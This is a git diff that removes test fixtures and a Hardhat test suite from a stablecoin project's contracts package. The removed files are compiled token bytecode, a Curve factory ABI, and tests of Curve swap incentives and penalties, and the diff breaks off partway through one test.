"0x740100000000000000000000000000000000000000006020526f7fffffffffffffffffffffffffffffff6040527fffffffffffffffffffffffffffffffff8000000000000000000000000000000060605274012a05f1fffffffffffffffffffffffffdabf41c006080527ffffffffffffffffffffffffed5fa0e000000000000000000000000000000000060a0526080610b4f6101403934156100a157600080fd5b60606020610b4f60c03960c051610b4f016101c03960406020610b4f60c03960c0516004013511156100d257600080fd5b604060206020610b4f0160c03960c051610b4f0161024039602060206020610b4f0160c03960c05160040135111561010957600080fd5b6101a051604e610180511061011d57600080fd5b61018051600a0a808202821582848304141761013857600080fd5b809050905090506102a0526101c080600060c052602060c020602082510161012060006003818352015b8261012051602002111561017557610197565b61012051602002850151610120518501555b8151600101808352811415610162575b50505050505061024080600160c052602060c020602082510161012060006002818352015b826101205160200211156101cf576101f1565b61012051602002850151610120518501555b81516001018083528114156101bc575b505050505050610180516002556102a05160033360e05260c052604060c020556102a051600555336006556102a0516102c0523360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60206102c0a3610b3756600436101561000d576108de565b600035601c52740100000000000000000000000000000000000000006020526f7fffffffffffffffffffffffffffffff6040527fffffffffffffffffffffffffffffffff8000000000000000000000000000000060605274012a05f1fffffffffffffffffffffffffdabf41c006080527ffffffffffffffffffffffffed5fa0e000000000000000000000000000000000060a052631652e9fc60005114156100e25734156100ba57600080fd5b60043560205181106100cb57600080fd5b5060065433146100da57600080fd5b600435600655005b63e1430e0660005114156102315734156100fb57600080fd5b606060043560040161014037604060043560040135111561011b57600080fd5b60406024356004016101c037602060243560040135111561013b57600080fd5b3360206102806004638da5cb5b6102205261023c6006545afa61015d57600080fd5b601f3d1161016a57600080fd5b600050610280511461017b57600080fd5b61014080600060c052602060c020602082510161012060006003818352015b826101205160200211156101ad576101cf565b61012051602002850151610120518501555b815160010180835281141561019a575b5050505050506101c080600160c052602060c020602082510161012060006002818352015b8261012051602002111561020757610229565b61012051602002850151610120518501555b81516001018083528114156101f4575b505050505050005b6318160ddd600051141561025857341561024a57600080fd5b60055460005260206000f350005b63dd62ed3e60005114156102bf57341561027157600080fd5b600435602051811061028257600080fd5b50602435602051811061029457600080fd5b50600460043560e05260c052604060c02060243560e05260c052604060c0205460005260206000f350005b63a9059cbb60005114156103815734156102d857600080fd5b60043560205181106102e957600080fd5b5060033360e05260c052604060c02080546024358082101561030a57600080fd5b80820390509050815550600360043560e05260c052604060c020805460243581818301101561033857600080fd5b8082019050905081555060243561014052600435337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610140a3600160005260206000f350005b6323b872dd600051141561049c57341561039a57600080fd5b60043560205181106103ab57600080fd5b5060243560205181106103bd57600080fd5b50600360043560e05260c052604060c0208054604435808210156103e057600080fd5b80820390509050815550600360243560e05260c052604060c020805460443581818301101561040e57600080fd5b8082019050905081555060065433181561045b57600460043560e05260c052604060c0203360e05260c052604060c02080546044358082101561045057600080fd5b808203905090508155505b604435610140526024356004357fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610140a3600160005260206000f350005b63095ea7b3600051141561055f5734156104b557600080fd5b60043560205181106104c657600080fd5b5060243515156104d75760016104f6565b60043360e05260c052604060c02060043560e05260c052604060c02054155b5b61050057600080fd5b60243560043360e05260c052604060c02060043560e05260c052604060c0205560243561014052600435337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256020610140a3600160005260206000f350005b6340c10f19600051141561063557341561057857600080fd5b600435602051811061058957600080fd5b50600654331461059857600080fd5b6000600435186105a757600080fd5b600580546024358181830110156105bd57600080fd5b80820190509050815550600360043560e05260c052604060c02080546024358181830110156105eb57600080fd5b808201905090508155506024356101405260043560007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610140a3600160005260206000f350005b6379cc6790600051141561070757341561064e57600080fd5b600435602051811061065f57600080fd5b50600654331461066e57600080fd5b60006004351861067d57600080fd5b600580546024358082101561069157600080fd5b80820390509050815550600360043560e05260c052604060c0208054602435808210156106bd57600080fd5b808203905090508155506024356101405260006004357fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610140a3600160005260206000f350005b6306fdde0360005114156107bb57341561072057600080fd5b60008060c052602060c020610180602082540161012060006003818352015b8261012051602002111561075257610774565b61012051850154610120516020028501525b815160010180835281141561073f575b50505050505061018051806101a001818260206001820306601f82010390500336823750506020610160526040610180510160206001820306601f8201039050610160f350005b6395d89b41600051141561086f5734156107d457600080fd5b60018060c052602060c020610180602082540161012060006002818352015b8261012051602002111561080657610828565b61012051850154610120516020028501525b81516001018083528114156107f3575b50505050505061018051806101a001818260206001820306601f82010390500336823750506020610160526040610180510160206001820306601f8201039050610160f350005b63313ce567600051141561089657341561088857600080fd5b60025460005260206000f350005b6370a0823160005114156108dd5734156108af57600080fd5b60043560205181106108c057600080fd5b50600360043560e05260c052604060c0205460005260206000f350005b5b60006000fd5b610253610b3703610253600039610253610b37036000f3", - "deployedBytecode": "0x600436101561000d576108de565b600035601c52740100000000000000000000000000000000000000006020526f7fffffffffffffffffffffffffffffff6040527fffffffffffffffffffffffffffffffff8000000000000000000000000000000060605274012a05f1fffffffffffffffffffffffffdabf41c006080527ffffffffffffffffffffffffed5fa0e000000000000000000000000000000000060a052631652e9fc60005114156100e25734156100ba57600080fd5b60043560205181106100cb57600080fd5b5060065433146100da57600080fd5b600435600655005b63e1430e0660005114156102315734156100fb57600080fd5b606060043560040161014037604060043560040135111561011b57600080fd5b60406024356004016101c037602060243560040135111561013b57600080fd5b3360206102806004638da5cb5b6102205261023c6006545afa61015d57600080fd5b601f3d1161016a57600080fd5b600050610280511461017b57600080fd5b61014080600060c052602060c020602082510161012060006003818352015b826101205160200211156101ad576101cf565b61012051602002850151610120518501555b815160010180835281141561019a575b5050505050506101c080600160c052602060c020602082510161012060006002818352015b8261012051602002111561020757610229565b61012051602002850151610120518501555b81516001018083528114156101f4575b505050505050005b6318160ddd600051141561025857341561024a57600080fd5b60055460005260206000f350005b63dd62ed3e60005114156102bf57341561027157600080fd5b600435602051811061028257600080fd5b50602435602051811061029457600080fd5b50600460043560e05260c052604060c02060243560e05260c052604060c0205460005260206000f350005b63a9059cbb60005114156103815734156102d857600080fd5b60043560205181106102e957600080fd5b5060033360e05260c052604060c02080546024358082101561030a57600080fd5b80820390509050815550600360043560e05260c052604060c020805460243581818301101561033857600080fd5b8082019050905081555060243561014052600435337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610140a3600160005260206000f350005b6323b872dd600051141561049c57341561039a57600080fd5b60043560205181106103ab57600080fd5b5060243560205181106103bd57600080fd5b50600360043560e05260c052604060c0208054604435808210156103e057600080fd5b80820390509050815550600360243560e05260c052604060c020805460443581818301101561040e57600080fd5b8082019050905081555060065433181561045b57600460043560e05260c052604060c0203360e05260c052604060c02080546044358082101561045057600080fd5b808203905090508155505b604435610140526024356004357fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610140a3600160005260206000f350005b63095ea7b3600051141561055f5734156104b557600080fd5b60043560205181106104c657600080fd5b5060243515156104d75760016104f6565b60043360e05260c052604060c02060043560e05260c052604060c02054155b5b61050057600080fd5b60243560043360e05260c052604060c02060043560e05260c052604060c0205560243561014052600435337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256020610140a3600160005260206000f350005b6340c10f19600051141561063557341561057857600080fd5b600435602051811061058957600080fd5b50600654331461059857600080fd5b6000600435186105a757600080fd5b600580546024358181830110156105bd57600080fd5b80820190509050815550600360043560e05260c052604060c02080546024358181830110156105eb57600080fd5b808201905090508155506024356101405260043560007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610140a3600160005260206000f350005b6379cc6790600051141561070757341561064e57600080fd5b600435602051811061065f57600080fd5b50600654331461066e57600080fd5b60006004351861067d57600080fd5b600580546024358082101561069157600080fd5b80820390509050815550600360043560e05260c052604060c0208054602435808210156106bd57600080fd5b808203905090508155506024356101405260006004357fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610140a3600160005260206000f350005b6306fdde0360005114156107bb57341561072057600080fd5b60008060c052602060c020610180602082540161012060006003818352015b8261012051602002111561075257610774565b61012051850154610120516020028501525b815160010180835281141561073f575b50505050505061018051806101a001818260206001820306601f82010390500336823750506020610160526040610180510160206001820306601f8201039050610160f350005b6395d89b41600051141561086f5734156107d457600080fd5b60018060c052602060c020610180602082540161012060006002818352015b8261012051602002111561080657610828565b61012051850154610120516020028501525b81516001018083528114156107f3575b50505050505061018051806101a001818260206001820306601f82010390500336823750506020610160526040610180510160206001820306601f8201039050610160f350005b63313ce567600051141561089657341561088857600080fd5b60025460005260206000f350005b6370a0823160005114156108dd5734156108af57600080fd5b60043560205181106108c057600080fd5b50600360043560e05260c052604060c0205460005260206000f350005b5b60006000fd", - "linkReferences": {}, - "deployedLinkReferences": {} -} diff --git a/packages/contracts/dollar/test/CurveFactory.json b/packages/contracts/dollar/test/CurveFactory.json deleted file mode 100644 index 13fb08725..000000000 --- a/packages/contracts/dollar/test/CurveFactory.json +++ /dev/null @@ -1,250 +0,0 @@ -[ - { - "name": "BasePoolAdded", - "inputs": [ - { "type": "address", "name": "base_pool", "indexed": false }, - { "type": "address", "name": "implementat", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "MetaPoolDeployed", - "inputs": [ - { "type": "address", "name": "coin", "indexed": false }, - { "type": "address", "name": "base_pool", "indexed": false }, - { "type": "uint256", "name": "A", "indexed": false }, - { "type": "uint256", "name": "fee", "indexed": false }, - { "type": "address", "name": "deployer", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "outputs": [], - "inputs": [], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "name": "find_pool_for_coins", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [ - { "type": "address", "name": "_from" }, - { "type": "address", "name": "_to" } - ], - "stateMutability": "view", - "type": "function" - }, - { - "name": "find_pool_for_coins", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [ - { "type": "address", "name": "_from" }, - { "type": "address", "name": "_to" }, - { "type": "uint256", "name": "i" } - ], - "stateMutability": "view", - "type": "function" - }, - { - "name": "get_n_coins", - "outputs": [ - { "type": "uint256", "name": "" }, - { "type": "uint256", "name": "" } - ], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 2795 - }, - { - "name": "get_coins", - "outputs": [{ "type": "address[2]", "name": "" }], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 2427 - }, - { - "name": "get_underlying_coins", - "outputs": [{ "type": "address[8]", "name": "" }], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 12195 - }, - { - "name": "get_decimals", - "outputs": [{ "type": "uint256[2]", "name": "" }], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 1501 - }, - { - "name": "get_underlying_decimals", - "outputs": [{ "type": "uint256[8]", "name": "" }], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 10155 - }, - { - "name": "get_rates", - "outputs": [{ "type": "uint256[2]", "name": "" }], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 1876 - }, - { - "name": "get_balances", - "outputs": [{ "type": "uint256[2]", "name": "" }], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 1268 - }, - { - "name": "get_underlying_balances", - "outputs": [{ "type": "uint256[8]", "name": "" }], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 13247 - }, - { - "name": "get_A", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 958 - }, - { - "name": "get_fees", - "outputs": [ - { "type": "uint256", "name": "" }, - { "type": "uint256", "name": "" } - ], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 1584 - }, - { - "name": "get_admin_balances", - "outputs": [{ "type": "uint256[2]", "name": "" }], - "inputs": [{ "type": "address", "name": "_pool" }], - "stateMutability": "view", - "type": "function", - "gas": 1388 - }, - { - "name": "get_coin_indices", - "outputs": [ - { "type": "int128", "name": "" }, - { "type": "int128", "name": "" }, - { "type": "bool", "name": "" } - ], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "address", "name": "_from" }, - { "type": "address", "name": "_to" } - ], - "stateMutability": "view", - "type": "function", - "gas": 20309 - }, - { - "name": "add_base_pool", - "outputs": [], - "inputs": [ - { "type": "address", "name": "_base_pool" }, - { "type": "address", "name": "_metapool_implementation" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 509110 - }, - { - "name": "deploy_metapool", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [ - { "type": "address", "name": "_base_pool" }, - { "type": "string", "name": "_name" }, - { "type": "string", "name": "_symbol" }, - { "type": "address", "name": "_coin" }, - { "type": "uint256", "name": "_A" }, - { "type": "uint256", "name": "_fee" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 850296 - }, - { - "name": "commit_transfer_ownership", - "outputs": [], - "inputs": [{ "type": "address", "name": "addr" }], - "stateMutability": "nonpayable", - "type": "function", - "gas": 36668 - }, - { - "name": "accept_transfer_ownership", - "outputs": [], - "inputs": [], - "stateMutability": "nonpayable", - "type": "function", - "gas": 56619 - }, - { - "name": "admin", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 1571 - }, - { - "name": "future_admin", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 1601 - }, - { - "name": "pool_list", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [{ "type": "uint256", "name": "arg0" }], - "stateMutability": "view", - "type": "function", - "gas": 1740 - }, - { - "name": "pool_count", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 1661 - }, - { - "name": "base_pool_list", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [{ "type": "uint256", "name": "arg0" }], - "stateMutability": "view", - "type": "function", - "gas": 1800 - }, - { - "name": "base_pool_count", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 1721 - } -] diff --git a/packages/contracts/dollar/test/CurveIncentive.test.ts b/packages/contracts/dollar/test/CurveIncentive.test.ts deleted file mode 100644 index 3e969ffd4..000000000 --- a/packages/contracts/dollar/test/CurveIncentive.test.ts +++ /dev/null @@ -1,361 +0,0 @@ -import { ContractTransaction, Signer } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { expect } from "chai"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { DebtCoupon } from "../artifacts/types/DebtCoupon"; -import { DebtCouponManager } from "../artifacts/types/DebtCouponManager"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { CouponsForDollarsCalculator } from "../artifacts/types/CouponsForDollarsCalculator"; -import { DollarMintingCalculator } from "../artifacts/types/DollarMintingCalculator"; -import { UbiquityAutoRedeem } from "../artifacts/types/UbiquityAutoRedeem"; -import { ExcessDollarsDistributor } from "../artifacts/types/ExcessDollarsDistributor"; -import { CurveUADIncentive } from "../artifacts/types/CurveUADIncentive"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { swap3CRVtoUAD, swapDAItoUAD, swapUADto3CRV } from "./utils/swap"; -import { calculateIncentiveAmount } from "./utils/calc"; - -describe("CurveIncentive", () => { - let metaPool: IMetaPool; - let couponsForDollarsCalculator: CouponsForDollarsCalculator; - let manager: UbiquityAlgorithmicDollarManager; - let debtCouponMgr: DebtCouponManager; - let curveIncentive: CurveUADIncentive; - let daiToken: ERC20; - let twapOracle: TWAPOracle; - let debtCoupon: DebtCoupon; - let admin: Signer; - let secondAccount: Signer; - let operation: Signer; - let treasury: Signer; - let uAD: UbiquityAlgorithmicDollar; - let uGOV: UbiquityGovernance; - let crvToken: ERC20; - let DAI: string; - let curveFactory: string; - let curve3CrvBasePool: string; - let curve3CrvToken: string; - let curveWhaleAddress: string; - let daiWhaleAddress: string; - let curveWhale: Signer; - let dollarMintingCalculator: DollarMintingCalculator; - let autoRedeemToken: UbiquityAutoRedeem; - let excessDollarsDistributor: ExcessDollarsDistributor; - const oneETH = ethers.utils.parseEther("1"); - - const couponLengthBlocks = 100; - beforeEach(async () => { - // list of accounts - ({ curveFactory, curve3CrvBasePool, curve3CrvToken, DAI, curveWhaleAddress, daiWhaleAddress } = await getNamedAccounts()); - [admin, secondAccount, operation, treasury] = await ethers.getSigners(); - - // deploy manager - const UADMgr = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await UADMgr.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - - const UAD = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - uAD = (await UAD.deploy(manager.address)) as UbiquityAlgorithmicDollar; - await manager.setDollarTokenAddress(uAD.address); - - // set extra token - crvToken = (await ethers.getContractAt("ERC20", curve3CrvToken)) as ERC20; - daiToken = (await ethers.getContractAt("ERC20", DAI)) as ERC20; - // to deploy the stableswap pool we need 3CRV and uAD - // kindly ask a whale to give us some 3CRV - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [curveWhaleAddress], - }); - curveWhale = ethers.provider.getSigner(curveWhaleAddress); - await crvToken.connect(curveWhale).transfer(manager.address, ethers.utils.parseEther("10000")); - // just mint som uAD - // mint 10000 uAD each for admin, manager and secondAccount - const mintings = [await operation.getAddress(), await secondAccount.getAddress(), manager.address].map( - async (signer): Promise => uAD.mint(signer, ethers.utils.parseEther("10000")) - ); - await Promise.all(mintings); - - await manager.deployStableSwapPool(curveFactory, curve3CrvBasePool, crvToken.address, 10, 4000000); - // setup the oracle - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - const TWAPOracleFactory = await ethers.getContractFactory("TWAPOracle"); - twapOracle = (await TWAPOracleFactory.deploy(metaPoolAddr, uAD.address, curve3CrvToken)) as TWAPOracle; - - await manager.setTwapOracleAddress(twapOracle.address); - - // set uGOV - const uGOVFactory = await ethers.getContractFactory("UbiquityGovernance"); - uGOV = (await uGOVFactory.deploy(manager.address)) as UbiquityGovernance; - - await manager.setGovernanceTokenAddress(uGOV.address); - - // set coupon for dollar Calculator - const couponsForDollarsCalculatorFactory = await ethers.getContractFactory("CouponsForDollarsCalculator"); - couponsForDollarsCalculator = (await couponsForDollarsCalculatorFactory.deploy(manager.address)) as CouponsForDollarsCalculator; - - await manager.setCouponCalculatorAddress(couponsForDollarsCalculator.address); - // set Dollar Minting Calculator - const dollarMintingCalculatorFactory = await ethers.getContractFactory("DollarMintingCalculator"); - dollarMintingCalculator = (await dollarMintingCalculatorFactory.deploy(manager.address)) as DollarMintingCalculator; - await manager.setDollarMintingCalculatorAddress(dollarMintingCalculator.address); - - // set debt coupon token - const dcManagerFactory = await ethers.getContractFactory("DebtCouponManager"); - const debtCouponFactory = await ethers.getContractFactory("DebtCoupon"); - debtCoupon = (await debtCouponFactory.deploy(manager.address)) as DebtCoupon; - - await manager.setDebtCouponAddress(debtCoupon.address); - debtCouponMgr = (await dcManagerFactory.deploy(manager.address, couponLengthBlocks)) as DebtCouponManager; - - // debtCouponMgr should have the COUPON_MANAGER role to mint debtCoupon - const COUPON_MANAGER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("COUPON_MANAGER")); - // debtCouponMgr should have the UBQ_MINTER_ROLE to mint uAD for debtCoupon Redeem - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - // debtCouponMgr should have the UBQ_BURNER_ROLE to burn uAD when minting debtCoupon - const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); - await manager.grantRole(COUPON_MANAGER_ROLE, debtCouponMgr.address); - await manager.grantRole(UBQ_MINTER_ROLE, debtCouponMgr.address); - await manager.grantRole(UBQ_BURNER_ROLE, debtCouponMgr.address); - - // Incentive - const incentiveFactory = await ethers.getContractFactory("CurveUADIncentive"); - curveIncentive = (await incentiveFactory.deploy(manager.address)) as CurveUADIncentive; - // curveIncentive should have the UBQ_BURNER_ROLE to burn uAD during incentive - await manager.grantRole(UBQ_BURNER_ROLE, curveIncentive.address); - - // curveIncentive should have the UBQ_MINTER_ROLE to mint uGOV during incentive - await manager.grantRole(UBQ_MINTER_ROLE, curveIncentive.address); - // set the incentive contract to act upon transfer from and to the curve pool - await manager.setIncentiveToUAD(metaPool.address, curveIncentive.address); - // turn off Sell Penalty - await curveIncentive.switchSellPenalty(); - // turn off buy incentive Penalty - await curveIncentive.switchBuyIncentive(); - // to calculate the totalOutstanding debt we need to take into account autoRedeemToken.totalSupply - const autoRedeemTokenFactory = await ethers.getContractFactory("UbiquityAutoRedeem"); - autoRedeemToken = (await autoRedeemTokenFactory.deploy(manager.address)) as UbiquityAutoRedeem; - - await manager.setuARTokenAddress(autoRedeemToken.address); - - // when the debtManager mint uAD it there is too much it distribute the excess to - const excessDollarsDistributorFactory = await ethers.getContractFactory("ExcessDollarsDistributor"); - excessDollarsDistributor = (await excessDollarsDistributorFactory.deploy(manager.address)) as ExcessDollarsDistributor; - - await manager.setExcessDollarsDistributor(debtCouponMgr.address, excessDollarsDistributor.address); - - // set treasury,uGOVFund and lpReward address needed for excessDollarsDistributor - await manager.setTreasuryAddress(await treasury.getAddress()); - }); - - it("curve sell penalty should be call when swapping uAD for 3CRV when uAD <1$", async () => { - // turn on SellPenalty - await curveIncentive.switchSellPenalty(); - const secondAccountAdr = await secondAccount.getAddress(); - const amount = ethers.utils.parseEther("100"); - // Now that the price is under peg we sell uAD and Check that the incentive is applied - const priceBefore = await twapOracle.consult(uAD.address); - expect(priceBefore).to.equal(oneETH); - const balanceLPBefore = await metaPool.balanceOf(secondAccountAdr); - const balance3CRVBefore = await crvToken.balanceOf(secondAccountAdr); - const balanceUADBefore = await uAD.balanceOf(secondAccountAdr); - - const amountToBeSwapped = await swapUADto3CRV(metaPool, uAD, amount, secondAccount); - const priceAfter = await twapOracle.consult(uAD.address); - expect(priceAfter).to.be.lt(priceBefore); - const balanceLPAfter = await metaPool.balanceOf(secondAccountAdr); - const balance3CRVAfter = await crvToken.balanceOf(secondAccountAdr); - const balanceUADAfter = await uAD.balanceOf(secondAccountAdr); - const penalty = calculateIncentiveAmount(amount.toString(), priceAfter.toString()); - // we have lost all the uAD - expect(balanceUADBefore.sub(amount).sub(penalty)).to.equal(balanceUADAfter); - expect(balanceLPBefore).to.equal(balanceLPAfter); - // - expect(balance3CRVBefore.add(amountToBeSwapped)).to.equal(balance3CRVAfter); - }); - it("curve buy Incentive should be call when swapping 3CRV for uAD when uAD <1$", async () => { - // turn on buy incentive Penalty - await curveIncentive.switchBuyIncentive(); - const secondAccountAdr = await secondAccount.getAddress(); - // get some 3crv token from our beloved whale - await crvToken.connect(curveWhale).transfer(secondAccountAdr, ethers.utils.parseEther("1000")); - - // Now that the price is under peg we sell uAD and Check that the incentive is applied - const priceBefore = await twapOracle.consult(uAD.address); - expect(priceBefore).to.equal(oneETH); - const balanceLPBefore = await metaPool.balanceOf(secondAccountAdr); - const balance3CRVBefore = await crvToken.balanceOf(secondAccountAdr); - const balanceUADBefore = await uAD.balanceOf(secondAccountAdr); - const balanceUgovBefore = await uGOV.balanceOf(secondAccountAdr); - // swap - const amountToBeSwapped = await swap3CRVtoUAD(metaPool, crvToken, ethers.utils.parseEther("1000"), secondAccount); - const priceAfter = await twapOracle.consult(uAD.address); - expect(priceAfter).to.be.lt(priceBefore); - const balanceLPAfter = await metaPool.balanceOf(secondAccountAdr); - const balance3CRVAfter = await crvToken.balanceOf(secondAccountAdr); - const balanceUgovAfter = await uGOV.balanceOf(secondAccountAdr); - const balanceUADAfter = await uAD.balanceOf(secondAccountAdr); - - const incentive = calculateIncentiveAmount(amountToBeSwapped.toString(), priceAfter.toString()); - // we minted the right amount of uGOV - expect(balanceUgovBefore.add(incentive)).to.equal(balanceUgovAfter); - // we have more uAD - expect(balanceUADBefore.add(amountToBeSwapped)).to.equal(balanceUADAfter); - expect(balanceLPBefore).to.equal(balanceLPAfter); - // we have less 3CRV - expect(balance3CRVBefore.sub(ethers.utils.parseEther("1000"))).to.equal(balance3CRVAfter); - }); - it("curve buy Incentive should be call when swapping underlying for uAD when uAD <1$", async () => { - // turn on buy Incentive - await curveIncentive.switchBuyIncentive(); - const secondAccountAdr = await secondAccount.getAddress(); - const amount = ethers.utils.parseEther("0.45678"); - // get some dai token from our beloved whale - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [daiWhaleAddress], - }); - const daiWhale = ethers.provider.getSigner(daiWhaleAddress); - await daiToken.connect(daiWhale).transfer(secondAccountAdr, amount); - // Now that the price is under peg we sell uAD and Check that the incentive is applied - const priceBefore = await twapOracle.consult(uAD.address); - expect(priceBefore).to.equal(oneETH); - const balanceLPBefore = await metaPool.balanceOf(secondAccountAdr); - const balanceDAIBefore = await daiToken.balanceOf(secondAccountAdr); - const balanceUADBefore = await uAD.balanceOf(secondAccountAdr); - const balanceUgovBefore = await uGOV.balanceOf(secondAccountAdr); - const amountToBeSwapped = await swapDAItoUAD(metaPool, daiToken, amount, secondAccount); - const priceAfter = await twapOracle.consult(uAD.address); - expect(priceAfter).to.be.lt(priceBefore); - const balanceLPAfter = await metaPool.balanceOf(secondAccountAdr); - const balanceDAIAfter = await daiToken.balanceOf(secondAccountAdr); - const balanceUgovAfter = await uGOV.balanceOf(secondAccountAdr); - const balanceUADAfter = await uAD.balanceOf(secondAccountAdr); - - const incentive = calculateIncentiveAmount(amountToBeSwapped.toString(), priceAfter.toString()); - - // we minted the right amount of uGOV - // when swapping for underlying token the exchange_underlying is not precise - const expectedUgov = balanceUgovBefore.add(incentive); - expect(balanceUgovAfter).to.be.lt(expectedUgov); - expect(balanceUgovAfter).to.be.gt(expectedUgov.mul(9999).div(10000)); - // we have more uAD - const expectedUAD = balanceUADBefore.add(amountToBeSwapped); - expect(balanceUADAfter).to.be.lt(expectedUAD); - expect(balanceUADAfter).to.be.gt(expectedUAD.mul(9999).div(10000)); - expect(balanceLPBefore).to.equal(balanceLPAfter); - // we have less dai - expect(balanceDAIBefore.sub(amount)).to.equal(balanceDAIAfter); - }); - it("setting UAD Incentive should emit an event", async () => { - await expect(manager.setIncentiveToUAD(uGOV.address, curveIncentive.address)) - .to.emit(uAD, "IncentiveContractUpdate") - .withArgs(uGOV.address, curveIncentive.address); - }); - it("curve buy Incentive should not be call when receiver is exempt", async () => { - // turn on buy incentive Penalty - await curveIncentive.switchBuyIncentive(); - const secondAccountAdr = await secondAccount.getAddress(); - // get some 3crv token from our beloved whale - await crvToken.connect(curveWhale).transfer(secondAccountAdr, ethers.utils.parseEther("1000")); - - // exempt second accountr - await expect(curveIncentive.setExemptAddress(secondAccountAdr, true)).to.emit(curveIncentive, "ExemptAddressUpdate").withArgs(secondAccountAdr, true); - - // Now that the price is under peg we sell uAD and Check that the incentive is applied - const priceBefore = await twapOracle.consult(uAD.address); - expect(priceBefore).to.equal(oneETH); - const balanceLPBefore = await metaPool.balanceOf(secondAccountAdr); - const balance3CRVBefore = await crvToken.balanceOf(secondAccountAdr); - const balanceUADBefore = await uAD.balanceOf(secondAccountAdr); - const balanceUgovBefore = await uGOV.balanceOf(secondAccountAdr); - const metaPoolBalanceUADBefore = await uAD.balanceOf(metaPool.address); - // swap - const amountToBeSwapped = await swap3CRVtoUAD(metaPool, crvToken, ethers.utils.parseEther("1000"), secondAccount); - const priceAfter = await twapOracle.consult(uAD.address); - expect(priceAfter).to.be.lt(priceBefore); - const balanceLPAfter = await metaPool.balanceOf(secondAccountAdr); - const balance3CRVAfter = await crvToken.balanceOf(secondAccountAdr); - const balanceUgovAfter = await uGOV.balanceOf(secondAccountAdr); - const balanceUADAfter = await uAD.balanceOf(secondAccountAdr); - const metaPoolBalanceUADAfter = await uAD.balanceOf(metaPool.address); - - // we minted the right wmount of uGOV - expect(balanceUgovBefore).to.equal(balanceUgovAfter); - // we have more uAD - expect(balanceUADBefore.add(amountToBeSwapped)).to.equal(balanceUADAfter); - expect(metaPoolBalanceUADAfter.add(amountToBeSwapped)).to.equal(metaPoolBalanceUADBefore); - expect(balanceLPBefore).to.equal(balanceLPAfter); - // we have less 3CRV - expect(balance3CRVBefore.sub(ethers.utils.parseEther("1000"))).to.equal(balance3CRVAfter); - }); - it("curve sell penalty should not be call when sender is exempt", async () => { - // turn on BuyIncentive - await curveIncentive.switchSellPenalty(); - const secondAccountAdr = await secondAccount.getAddress(); - // exempt second accountr - await expect(curveIncentive.setExemptAddress(secondAccountAdr, true)).to.emit(curveIncentive, "ExemptAddressUpdate").withArgs(secondAccountAdr, true); - - const amount = ethers.utils.parseEther("100"); - // Now that the price is under peg we sell uAD and Check that the incentive is applied - const priceBefore = await 